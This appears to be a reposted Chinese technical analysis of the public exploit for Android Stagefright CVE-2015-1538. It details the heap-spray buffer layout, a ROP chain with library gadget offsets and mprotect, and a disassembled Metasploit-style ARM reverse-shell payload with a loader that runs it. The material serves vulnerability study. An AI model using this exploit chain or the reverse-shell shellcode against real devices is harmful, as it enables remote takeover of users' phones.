<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/10896

            Author:[email protected]

            0x00 序


            2015年7月以色列移動信息安全公司Zimperium在Android Stagefright框架中發現了多個整數溢出和下溢,不正確整數溢出檢查等漏洞,可導致任意代碼執行等問題。攻擊者通過發送包含特制媒體文件的MMS或WEB頁來觸發該漏洞。由于stagefright不只是用來播放媒體文件的,還能自動產生縮略圖,或者從視頻或音頻文件中抽取元數據,如長度、高度、寬度、幀頻、頻道和其他類似信息。因此接收到惡意彩信的用戶只要查看縮略圖就可觸發該漏洞。

            “Stagefright”媒體播放引擎庫在Android 2.2中引入,至5.1的所有版本上均存在此漏洞。使用Stagefright庫的應用程序以Media權限運行,成功利用漏洞,允許攻擊者以媒體庫上下文查看相應的文件,但通過權限提升攻擊,可完全控制設備。該Stagefright漏洞所對應的CVE ID如下:

            CVE-2015-1538
            CVE-2015-1539
            CVE-2015-3824
            CVE-2015-3826
            CVE-2015-3827
            CVE-2015-3828
            CVE-2015-3829
            

            zimperium研究人員Joshua Drake在8月的BlackHat會議上講解并演示了該漏洞。9月份在官方博客(blog.zimperium.com)公開了其中一個漏洞:CVE-2015-1538的利用代碼[1]

            雖然CVE-2015-1538的利用是在Android 4.0.x上實現的,相對于高版本Android,少了很多緩解技術需要bypass,但是其exploit中所用的媒體文件堆噴、pivot stack、反向連接shell等一些技巧可為以后借鑒,所以將其記錄下,也是留個備忘。

            0x01 Shellcode代碼分析


            1.1 ROP

            分析Exploit[2]可知,該漏洞利用“tx3g”tag進行內存堆噴射(2M)來達到執行shellcode。其單個spray buffer的構造如下:

            Offset value
            0x0 sp_addr + 16{}
            0x4 sp_addr + 8
            0x8 1
            0xC 0xcodedbad
            0x10 sp_addr + 24
            0x14 16
            0x18 sp_addr + 32
            0x1C 0xf00dbabe
            0x20 0xcode0000 + 0x0
            0x24 0xcode0000 + 0x4
            0x28 0xcode0000 + 0x8
            0x2C new_pc{}
            0x30 0xf0f00000+x1
            0x4C, ROP+0x0 sp_addr + 0x40
            ROP+0x4 0xb0002a98{}
            ROP+0x8 0xb00038b2 + 1{}
            ROP+0xC sp_addr & 0xFFFFF000
            ROP+0x10 0x1000
            ROP+0x14 7
            ROP+0x18 0xd000d003
            ROP+0x1C 0xd000d004
            ROP+0x20 0xb001144{}
            ROP+0x24 sp_addr + 0x80
            ROP+0x28 0xf0f00000 + x1
            … …
            ROP+0x4C payload/shell_reverse_tcp
            0x1000 0xf0f00000 + xn

            從exploit看,mediaserver crash時代碼走到了android::RefBase::decStrong(android::RefBase *__hidden this, const void *),匯編代碼如下:

            .text:0000EE34 70 B5         PUSH  {R4-R6,LR}
            .text:0000EE36 05 46         MOV   R5, R0
            .text:0000EE38 44 68         LDR   R4, [R0,#4]
            .text:0000EE3A 0E 46         MOV   R6, R1
            .text:0000EE3C 20 46         MOV   R0, R4
            .text:0000EE3E FD F7 54 EB   BLX   android_atomic_dec
            .text:0000EE42 01 28         CMP   R0, #1
            .text:0000EE44 0B D1         BNE   loc_EE5E
            .text:0000EE46 A0 68         LDR   R0, [R4,#8]
            .text:0000EE48 01 68         LDR   R1, [R0]
            .text:0000EE4A CA 68         LDR   R2, [R1,#0xC]
            .text:0000EE4C 31 46         MOV   R1, R6
            .text:0000EE4E 90 47         BLX   R2
            

            按這段代碼的執行流程如下:

            1)r0 = spray_address = sa

            LDR             R4, [R0,#4]
            

            執行后,r4 = [sa+4] = sa+8

            .text:0000EE46  LDR             R0, [R4,#8]
            

            執行后,r0 = [r4+8]=[sa+8+8]=[sa+0x10]=sa+24=sa+0x18

            .text:0000EE48LDR     R1, [R0]
            

            執行后,r1=[r0+0]=[sa+0x18]=sz+32=sa+0x20

            .text:0000EE4A  LDR             R2, [R1,#0xC]
            

            執行后,r2=[r1+0xC]=[sa+0x20+0xC]=[sa+0x2C]=new_pc。執行blx r2跳到new_pc處。

            2)new_pc

            exploit中默認定義的new_pc為0xb0002850(__dl_restore_core_regs),位于libc.so中。看Android 4.1.2的libc.so中的restore_core_regs函數:

            .text:00010BA8      EXPORT restore_core_regs
            .text:00010BA8      ADD             R1, R0, #0x34 ; Alternative name is '__restore_core_regs'
            .text:00010BAC      LDMIA           R1, {R3-R5}
            .text:00010BB0      STMFD           SP!, {R3-R5}
            .text:00010BB4      LDMIA           R0, {R0-R11}
            .text:00010BB8      LDMFD           SP, {SP-PC}
            

            這段代碼主要是用于pivot stack:

            ADD             R1, R0, #0x34
            

            此時r0=sa+0x18,r1=sa+0x18+0x34=sa+0x4C

            .text:00010BAC      LDMIA           R1, {R3-R5}
            

            將r1指向地址sa+0x4C的內容依次寫到r3,r4,r5中,即r3=sa+0x40=ROP+0x0r4=0xb0002a98r5=0xb00038b2+1

            .text:00010BB0      STMFD           SP!, {R3-R5}
            

            將r3,r4,r5入棧。

            .text:00010BB8      LDMFD           SP, {SP-PC}
            

            出棧操作;執行完后sp=ROP+0xClr=0xb0002a98pc=0xb00038b2+1

            3)執行pc

            此時pc為0xb00038b2+1,基所指向的指令為:

            pop {r0, r1, r2, r3, r4, pc}
            

            將sp指向的棧彈出并存入到r0-r4及pc寄存器中,該條指令執行完后,r0=sp_addr & 0xFFFFF000,r1=0x1000,r2=7,pc=0xb001144。

            該條指令可以libstagefright.so中找到。如在4.1.2下:thumb,libstagefright.so + 0x0009086C。

            4)再執行pc

            此時pc為0xb001144,該地址是mprotect函數的地址,位于libc.so中,代碼如下:

            .text:0000CACC                 EXPORT mprotect
            .text:0000CACC                 STMFD           SP!, {R4,R7}
            .text:0000CAD0                 MOV             R7, #0x7D
            .text:0000CAD4                 SVC             0        ;超級用戶調用
            .text:0000CAD8                 LDMFD           SP!, {R4,R7}
            .text:0000CADC                 MOVS            R0, R0
            .text:0000CAE0                 BXPL            LR      
            .text:0000CAE4                 B               sub_39D44
            

            將sp_addr地址,長度為0x1000的內存改為可執行權限。

            .text:0000CAE0                 BXPL            LR
            

            如果執行成功則調用lr,即0xb0002a98。

            5)執行lr

            此時lr為0xb0002a98,其指向的指令如下:

            pop {pc}
            

            當前sp=ROP+0x24,執行完成后`pc=sa+0x80,即shell_reverse_tcp代碼的地址。

            該條指令可以libstagefright.so中找到。如在4.1.2下:thumb,libstagefright.so + 0x0005ad14。

            1.2 shell_reverse_tcp

            exploit代碼看shell_reverse_tcp是反向連接到目標ip:port的一段payload,這段代碼是從metasploit的shell_reverse_tcp[3]修改而來的。為了搞清楚這段代碼的功能,我們寫了一段loader來加載這段代碼,然后反匯編進行分析,如下:

            unsignedchar payload[] = 
            "\x02\x70\xa0\xe3"
            ……
            "65\x6d\x2f\x62\x69\x6e\x3a\x2f\x73\x79\x73\x74\x65\x6d\x2f\x78\x62\x69\x6e\x00";
            int loader()
            {
            printf("hello payload: 0x%x\n", payload);
            asm__volatile__ (
            "ldr r0, =payload \t\n"
            "blx r0 \t\n");
            return0;
            }
            int main(intargc, char* constargv[])
            {
            loader();
            return0;
            }
            

            payload[]數組中的數據是從exploit的shell_reverse_tcp中提取的。這種加載方式在Android 4.1.x可以運行,高版本Android增加了安全緩解技術,會報錯,但不影響分析代碼。用IDA Pro加載編譯程序,可以看到shell_reverse_tcp的反匯編代碼如下:

            .data:00002000 02 70 A0 E3                             MOV             R7, #2
            .data:00002004 00 0000 EF                             SVC             0       ; __fork
            .data:00002008 00 00 50 E3                             CMP             R0, #0
            .data:0000200C 02 00 00 0A                             BEQ             loc_201C
            .data:00002010 00 00 A0 E3                             MOV             R0, #0
            .data:00002014 01 70 A0 E3                             MOV             R7, #1
            .data:00002018 00 0000 EF                             SVC             0       ; _exit_thread
            .data:0000201Cloc_201C                                ; CODE XREF: .data:0000200Cj
            .data:0000201C 42 70 A0 E3                             MOV             R7, #0x42
            .data:00002020 00 0000 EF                             SVC             0       ; setsid
            .data:00002024 02 00 A0 E3                             MOV             R0, #2
            .data:00002028 01 10 A0 E3                             MOV             R1, #1
            .data:0000202C 05 20 81 E2                             ADD             R2, R1, #5
            .data:00002030 8C 70 A0 E3 8D 70 87 E2                 MOV             R7, #0x119
            .data:00002038 00 0000 EF                             SVC             0       ; socket
            .data:0000203C 00 60 A0 E1                             MOV             R6, R0
            .data:00002040 6C 10 8F E2                             ADR             R1, loc_20B4 ; structsockaddr_in
            .data:00002044 10 20 A0 E3                             MOV             R2, #0x10
            .data:00002048 8D 70 A0 E3 8E 70 87 E2                 MOV             R7, #0x11B
            .data:00002050 00 0000 EF                             SVC             0       ; connect
            .data:00002054 06 00 A0 E1                             MOV             R0, R6
            .data:00002058 00 10 A0 E3                             MOV             R1, #0
            .data:0000205C 3F 70 A0 E3                             MOV             R7, #0x3F
            .data:00002060 00 0000 EF                             SVC             0       ; dup2
            .data:00002064 06 00 A0 E1                             MOV             R0, R6
            .data:00002068 01 10 A0 E3                             MOV             R1, #1
            .data:0000206C 3F 70 A0 E3                             MOV             R7, #0x3F
            .data:00002070 00 0000 EF                             SVC             0       ; dup2
            .data:00002074 06 00 A0 E1                             MOV             R0, R6
            .data:00002078 02 10 A0 E3                             MOV             R1, #2
            .data:0000207C 3F 70 A0 E3                             MOV             R7, #0x3F
            .data:00002080 00 0000 EF                             SVC             0       ; dup2
            .data:00002084 30 00 8F E2                             ADR             R0, aSystemBinSh ; "/system/bin/sh"
            .data:00002088 04 40 24 E0                             EOR             R4, R4, R4
            .data:0000208C 10 00 2D E9                             STMFD           SP!, {R4}
            .data:00002090 38 30 8F E2    ADR   R3, aPathSbinVendor ; "PATH=/sbin:/vendor/bin:/system/sbin:/sy"...
            .data:00002094 08 00 2D E9                             STMFD           SP!, {R3}
            .data:00002098 0D 20 A0 E1                             MOV             R2, SP
            .data:0000209C 10 00 2D E9                             STMFD           SP!, {R4}
            .data:000020A0 24 40 8F E2                             ADR             R4, aSh ; "sh"
            .data:000020A4 10 00 2D E9                             STMFD           SP!, {R4}
            .data:000020A8 0D 10 A0 E1                             MOV             R1, SP
            .data:000020AC 0B 70 A0 E3                             MOV             R7, #0xB
            .data:000020B0 00 0000 EF                             SVC             0       ; execve
            .data:000020B4  loc_20B4                       ; DATA XREF: .data:00002040o
            .data:000020B4 02 00 30 39   ;structsockaddr_in: <family+port+host>, port: 0x3039(12345)
            .data:000020B8xx xxxxxx; ip address
            .data:000020BC 2F 73 79 73 74 65 6D 2F+aSystemBinSh    DCB "/system/bin/sh",0  ; DATA XREF: .data:00002084o
            .data:000020BC 62 69 6E 2F 73 68 00                                            ; .data:loc_20B4o
            .data:000020CB 00                                      DCB    0
            .data:000020CC 73 68 00      aSh             DCB "sh",0              ; DATA XREF: .data:000020A0o
            .data:000020CF 00                                      DCB    0
            .data:000020D0 50 41 54 48 3D 2F 73 62+aPathSbinVendor DCB "PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin",0
            .data:000020D0 69 6E 3A 2F 76 65 6E 64+       ; DATA XREF: .data:00002090o
            .data:0000210D 00                                      DCB    0
            

            payload通過svc指令調用相應的linux函數,相應的函數已備注在匯編代碼中,這段代碼功能是通過tcp連接遠程服務器的特定端口,偽代碼如下:

            r = fork();
            if r<>0
            exit_thread();
            setsid();
            s = socket(2,1,6);
            connect(s, socaddr, 0x10);
            dup2(s,0);[email protected]
            dup2(s,1);[email protected]
            dup2(s,2);[email protected]
            execve("/system/bin/sh", "sh", "PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin");
            

            loader編譯后直接運行會失敗,這是因為payload存儲在“.data”節中,其屬性是“Read”的,需要為該節增加“Execute”屬性才會運行成功。這里使用010 Editor的ELFTemplate為“.data”節增加“Execute”屬性:

            p1

            然后push到設備中,即可運行成功:

            p2

            0x02 參考


            1. https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/
            2. https://github.com/jduck/cve-2015-1538-1
            3. https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线